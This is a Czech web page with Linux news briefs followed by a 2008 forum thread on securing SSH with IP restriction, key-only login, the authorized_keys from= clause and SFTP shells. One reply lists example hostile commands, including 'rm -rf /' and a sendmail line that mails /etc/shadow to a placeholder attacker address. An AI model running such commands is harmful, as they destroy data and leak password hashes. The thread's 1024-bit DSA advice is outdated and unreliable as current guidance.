Byl publikován přehled vývoje renderovacího jádra webového prohlížeče Servo (Wikipedie) za uplynulé dva měsíce. Servo zvládne už i Gmail. Zakázány jsou příspěvky generované pomocí AI.
Raspberry Pi Connect, tj. oficiální služba Raspberry Pi pro vzdálený přístup k jednodeskovým počítačům Raspberry Pi z webového prohlížeče, byla vydána v nové verzi 2.5. Nejedná se už o beta verzi.
Google zveřejnil seznam 1272 projektů (vývojářů) od 185 organizací přijatých do letošního, již jednadvacátého, Google Summer of Code. Plánovaným vylepšením v grafických a multimediálních aplikacích se věnuje článek na Libre Arts.
Byla vydána (𝕏) dubnová aktualizace aneb nová verze 1.100 editoru zdrojových kódů Visual Studio Code (Wikipedie). Přehled novinek i s náhledy a videi v poznámkách k vydání. Ve verzi 1.100 vyjde také VSCodium, tj. komunitní sestavení Visual Studia Code bez telemetrie a licenčních podmínek Microsoftu.
Open source platforma Home Assistant (Demo, GitHub, Wikipedie) pro monitorování a řízení inteligentní domácnosti byla vydána v nové verzi 2025.5.
OpenSearch (Wikipedie) byl vydán ve verzi 3.0. Podrobnosti v poznámkách k vydání. Jedná se o fork projektů Elasticsearch a Kibana.
PyXL je koncept procesora, ktorý dokáže priamo spúštat Python kód bez nutnosti prekladu ci Micropythonu. Podľa testov autora je pri 100 MHz približne 30x rýchlejší pri riadeni GPIO nez Micropython na Pyboard taktovanej na 168 MHz.
Grafana (Wikipedie), tj. open source nástroj pro vizualizaci různých metrik a s ní související dotazování, upozorňování a lepší porozumění, byla vydána ve verzi 12.0. Přehled novinek v aktualizované dokumentaci.
Raspberry Pi OS, oficiální operační systém pro Raspberry Pi, byl vydán v nové verzi 2025-05-06. Přehled novinek v příspěvku na blogu Raspberry Pi a poznámkách k vydání. Pravděpodobně se jedná o poslední verzi postavenou na Debianu 12 Bookworm. Následující verze by již měla být postavena na Debianu 13 Trixie.
Richard Stallman dnes v Liberci přednáší o svobodném softwaru a svobodě v digitální společnosti. Od 16:30 v aule budovy G na Technické univerzitě v Liberci. V anglickém jazyce s automaticky generovanými českými titulky. Vstup je zdarma i pro širokou veřejnost.
AbcLinuxu.cz
ITBiz.cz
HDmag.cz
AbcPráce.cz
authorized_keys.
AllowUsers root a tím pádem nemusím uživatelům, u kterých nechci ssh přístup nastavovat prázdnou shell. Dále jsem tam změnil port na 12345. Iptables by v defaultní konfiguraci (CentOS 5) měl zahazovat vše u čeho nemá výjimku, takže jsem pomocí setup vypnul díru pro SSH a potom zkontroloval patřičný soubor /etc/sysconfig/iptables jestli je to správně uložené. Potom jsem pomocí iptables -A INPUT -s xxx.xxx.xxx.xxx -p tcp --destination-port 12345 -j ACCEPT vytvořil díru.
No kdyby to fungovalo, tak bych sem nepsal. Problém je v tom, že firewall propouští naprosto vše. Spuštěný by být měl.
Dále jsem tam změnil port na 12345
Smysl tohoto opatření mi poněkud uniká, ale na toto téma se tu flamovalo už tolikrát a tak intenzivně, že než začnete protestovat, najděte si některou z těch starších diskusí.
ak sa bavime o bezpecnosti, tak moznost povolit root cez ssh by som IMHO vylucil ako prvu vec
A proč to? Protože se to dělá?
sshd démonem, takže tím omezíte útočníkovi prostředky i v případě, že by se snažil napadnout sshd démona samotného (a obejít tak autorizaci klíčem/heslem). Ovšem na druhou stranu je potřeba zvážit to, zda se nebudete někdy potřebovat k počítači připojit odjinud. Pokud máte celkem snadný fyzický přístup k počítači, problém to být nemusí. Pokud je ale ten přístup k hardwaru složitý, neriskoval bych, že z nějakého důvodu nebudu schopen se k serveru připojit z určené IP adresy a tudíž nebudu schopen se serverem dělat nic.
Ovšem na druhou stranu je potřeba zvážit to, zda se nebudete někdy potřebovat k počítači připojit odjinud.
Nebo jestli se ta adresa nezmění a nedozvíte se o tom na poslední chvíli (nebo dokonce až potom). I to už jsem bohužel zažil…
Použití klíče mám určitě v plánu nasadit, ale vzhledem k tomu, že mě honí čas tak to na dobu neurčitou udělám zatím tak.
Ono to není zase tak složité. Základní princip je ten, že na straně klienta vygenerujete pomocí ssh-keygen pár klíčů (např. 'ssh-keygen -t dsa -b 1024') a veřejný (v tomto případě ~/.ssh/id_dsa.pub) pak zkopírujete na server do '~/.ssh/authorized_keys'.
Jak byste ohodnotili "mnou navržený" systém zabezpečení (změna portu, přístup pouze z jedné IP, netriviální heslo) známkou jako ve škole co se bezpečnost týče?
Známkování snad raději ne, spíš slovní hodnocení. Změna portu: k ničemu. Omezení na jednu IP: bezesporu užitečné, ale důkladně bych si rozmyslel možné důsledky. Netriviální heslo: nezbytné.
Co vy osobně považujete za netriviální heslo - příklad?
Tady hodně záleží na tom, co tím heslem chráníte. Pro roota na počítači s možností autentizace heslem přes ssh bych asi použil výstup 'pwgen 12' nebo 'pwgen -s 8'
AllowUsers root) a potom tedy zakázat přihlašování pomocí hesla a povolit přihlášení pouze pomocí klíče. Dále kdosi zde v diskusi říkal, že když tedy použiji klíč, tak se dá někde přímo u toho klíče nastavit přihlášení pouze z jedné konkrétní IP.
Ve zkratce tedy - jak nastavit, aby se bylo možné přihlásit pouze na roota, pouze klíčem a pouze z jedné konkrétní IP (pomocí pravidel u klíčů).
Openssh-server mám ve verzi 4.3p2.
BTW jaký typ klíče bych měl použít - SSH-2 RSA a nebo SSH-2 DSA? Kolik by měl mí bitů?
Díky moc za rady
P.S.: Jak moc je tohle bezpečné? Vy ve mě pěstujete pěknou paranoiu :D
a potom tedy zakázat přihlašování pomocí hesla
pro roota 'PermitRootLogin without-password', obecně
'PasswordAuthentication no'.
Dále kdosi zde v diskusi říkal, že když tedy použiji klíč, tak se dá někde přímo u toho klíče nastavit přihlášení pouze z jedné konkrétní IP.
Na začátek řádku s klíčem přidejte klauzuli from, např.
from="1.2.3.4" ssh-dss AAAAB3NzaC1kc3MAAA...
Blíže viz sshd(8), sekce AUTHORIZED_KEYS FILE FORMAT.
BTW jaký typ klíče bych měl použít - SSH-2 RSA a nebo SSH-2 DSA? Kolik by měl mí bitů?
RSA2 a DSA vyjdou AFAIK nastejno, hlavně ať to není RSA1. Délka pro běžné použití IMHO postačí 1024 bitů.
kde jsem náhodou zahlédl, že autoři důrazně nedoporučují NEpoužívat DSS klíč (dál jsem nečetl proč)
Právě to "proč" bývá v podobných důvodech důležitější než sama informace, že to nedoporučují…
Jak jsem četl dál vaši diskusi, tak mě zaujala zmíňka o HW klíčích. Už jsem něco takového někde viděl, ale můžete mi dát nějaký odkaz na nějaké dobré řešení vhodné právě pro tento účel?
Mám v plánu zkusit některý z USB tokenů od iKey. Praktické zkušenosti s nimi zatím nemám, ale našel jsem článek, podle kterého by měly v Linuxu fungovat hladce.
http://www.chiark.greenend.org.uk/~sgtatham/putty/faq.html#faq-dsa
Díky za info na ten token.
IMHO v tom není rozdíl, protože je to klasické SSH spojení akorát s tím rozdílem, že tohle se zaměřuje pouze na práci se soubory.Ono je to přímo klasické
ssh, jenom je sshd nakonfigurováno tak, aby tyhle příkazy předával ke zpracování nějakému dalšímu programu. Takže implementace té ssh části je ve vašem případě OpenSSH.
Nicméně předpokládám, že pro běžnou práci (uploadování a úpravy produkčních dat) doporučujete vytvořit uživatele s právy pouze pro tyto data, že? ;)Ano. Zvlášť jestli to má být pro někoho dalšího – asi by nebylo dobré nechat běžné uživatele editovat třeba
/etc/passwd, /etc/shadow atd.
uživatel co chce užít služeb SFTP musí být v /etc/sshd_config připsaný v AllowUsers a musí mít validní shellNemusí to být ale plnohodnotný shell, stačí shell pro sftp – Google na dotaz „sftp shell“ určitě něco nabídne.
Nemusí to být ale plnohodnotný shell, stačí shell pro sftp – Google na dotaz „sftp shell“ určitě něco nabídne.
Nejznámější je asi scponly.
rm -rf /, shutdown -h now, sendmail cracker@example.com < /etc/shadow apod. A to „omylem“ udělá jen těžko. Protože nemá WinSCP veřejné zdrojové kódy, nedá se mu samozřejmě věřit tolik jako PuTTY, ale nepovažoval bych ho za nebezpečný. Rozhodně je daleko pravděpodobnější, že si ty soubory smažete nějakým omylem sám… Jinak pokud byste trval na PuTTY a nevadil by vám příkazový řádek, i PuTTY má klienta pro SFTP.
BTW neměl bych na tenhle dotaz založit raději nové vlákno?Raději ne, protože to by byl dotaz na program čistě pro Windows, a to by nemuselo projít
...a pokud vám na datech na klientovi záležíNechtěl jste místo klient napsat server? Takže pokud to shrneme, je to podle vás bezpečná cesta i pro přihlášení pod rootem? WinSCP otevřené kódy má... BTW - Co se dá zkazit příkazem
shutdown -h now? :D
Nechtěl jste místo klient napsat server?Nechtěl. Měl jsem na mysli útok, kdy jedna komunikující strana zneužije nějaké díry v programu a ovládne jej a získá tak možnost spouštět s právy uživatele, který spustil program. A protože jste se ptal na klienta WinSCP, znamenalo by to, že by útočník přes sshd server zneužil případnou chybu ve WinSCP a získal tak kontrolu nad klientským počítačem. Ovšem pokud se s tím WinSCP chcete připojovat jen na vlastní server, měl byste v takovém případě starosti spíš s útočníkem na serveru, než s tím, že se vám snaží ještě přes WinSCP ovládnout klientský počítač. Jinak to celé bylo myšleno spíš žertem. Ale třeba u webu už tenhle princip (kdy je potřeba chránit hlavně server) neplatí, tam musí proti útoku druhé strany být odolný nejen server, ale i prohlížeč. Ale to už je zcela mimo téma.
WinSCP otevřené kódy má...No jo, GPL… Jak jsem přišel na to, že WinSCP patří k těm programům, jejich autor nepovažuje zveřejnění zdrojáků za přínos projektu? Podle Wikipedie byly zdrojáky pod GPL zveřejněny v roce 2003, tak že bych si pamatoval něco z předchozí doby?
Co se dá zkazit příkazem shutdown -h now?Je to celkem dobrý DoS útok – počítač pak přestane poskytovat služby, které by poskytovat měl. Sice to není takový průšvih, jako kdyby vám někdo něco cracknul nebo získal přístup k něčemu, k čemu přístup mít nemá, ale problém je to taky.
Tím mám namysli třeba nějaké mezery v implementaci zabezpečení či samotného přihlašování pomocí klíče, které by nemuselo být tak robustní, jako má PuTTY.Jedině že by WinSCP vyzradil heslo k privátnímu klíči nebo klíč samotný. Jinak „síla“ šifrování nezávisí na klientovi, ta je určená použitým protokolem.
Může být nějaký problém v tom, že vlastníkem souborů, které se budou veřejně přístupné pomocí http, bude root?Web server musí ty soubory vidět, tj. buď musí být pro čtení všem nebo pro skupinu, ve které musí být i uživatel, pod kterým běží server. Jinak pokud to nejsou spustitelné soubory s nastaveným
suid bitem, ničemu nevadí, že je vlastní root.
Jinak to je hodně zajímavý DoS útok, prostě se vypne stroj a oběť má utrum :DPo fyzické likvidaci serveru je to hned druhý nejúčinnější způsob
/home/COMPANY , ssh > 1024 bezi sshd klasicky .. -o povolenie jedinej IPcky na ssh: firewall/tcp wrappers (pripadne oboje) -o root nepovolovat, kym nie je treba: malokedy uzivatel potrebuje vsetky prava,ako ma root -o prihlasovanie pomocou klucov, pripadne silne lokalne heslo ( existuju programy/nastavenia, ktore kontroluju silu hesiel uzivatelov).. a suhlasim s tebou, robit 'bezpecnostne opatrenia' len preto, ze som to niekde pocul, nema zmysel .. otazne je, do akej hlbky clovek chape, ako veci funguju a dokaze sa proti tomu branit .. ja napriklad neviem ako presne funguje sshd (neprogramoval som ho, jeho kody som nikdy nestudoval) a teda neviem, ake (potencionalne) slabe miesta ma .. ale to uz nepatri do tohto prispevku ..
sshd na jiný port, protože na portu 22 už mi běží jiná služba, je sice oprávněné, ale nijak to nesouvisí s původním tématem diskuze. V diskuzi bylo zmíněno přesměrování portu 22 z důvodu (pseudo)zabezpečení, vy ho přesměrováváte kvůli charakteru TCP/IP komunikace, kdy na jednom páru IP adresa:port může naslouchat jen jeden program.
Privátní klíč nemusí být chráněn jenom heslem. Může být uložen na nějakém externím zařízení, které při běžném způsobu používání nevydá privátní klíč, ale jen přijme data k zašifrování a heslo/PIN a vrátí zašifrovaný výsledek.ano, samozrejme je viac variant - ja som chcel len povedat, ze to, ze ak si niekto zabezpeci login len klucom, este to neznamena, ze je to bezpecnejsia cesta ako autentifikacia prostrednictvom hesla.. myslim , ze uz ale nema zmysel dalej toto rozvijat - zbytocne mutit vodu tam, kde netreba .. suhlasim s misovym vyrokom, ze robit na oko zabezpecenie `lebo je to tak spravne` je nezmysel .. autor otazky dostal odpoved na co sa pytal, myslim, ze bude rozmumne to nechat uz tak ..
ja som chcel len povedat, ze to, ze ak si niekto zabezpeci login len klucom, este to neznamena, ze je to bezpecnejsia cesta ako autentifikacia prostrednictvom hesla
Záleží na technickém provedení, ale pokud neuděláte něco postaveného na hlavu, určitě nebude méně bezpečná a téměř jistě bude bezpečnější.
presmerovanie ssh na iny port moze byt dobra vec, ak napriklad na ssh:22 bezi sshd, ktore je chroot-nute len napriklad pre uzivatelov COMPANY v /home/COMPANY , ssh > 1024 bezi sshd klasicky ..
Což je ale něco úplně jiného, než o čem tam i tady byla řeč…
napriek tomu tvrdim, ze nechat root uzivatela povoleneho na ssh nie je dobra volba ..
Je hezké, že to tvrdíte, ale pokud nenapíšete proč, neočekávejte, že tomu budu přikládat nějakou váhu.
tak isto ako nebudem trubit do sveta, ake mam logins na serveri
Neměl byste spíš napsat, že to nebudete vědomě rozhlašovat? :-)
13.3.2008 13:32
MMMMMMMMM | skóre: 44
| blog: unstable
| Valašsko :-)
AllowUsers, pro vyjmenování kdo se odkud může hlásit. Na tohle by to šlo taky použít, i když předchozí rady jsou k tomu vhodnější.
Tiskni
Sdílej:
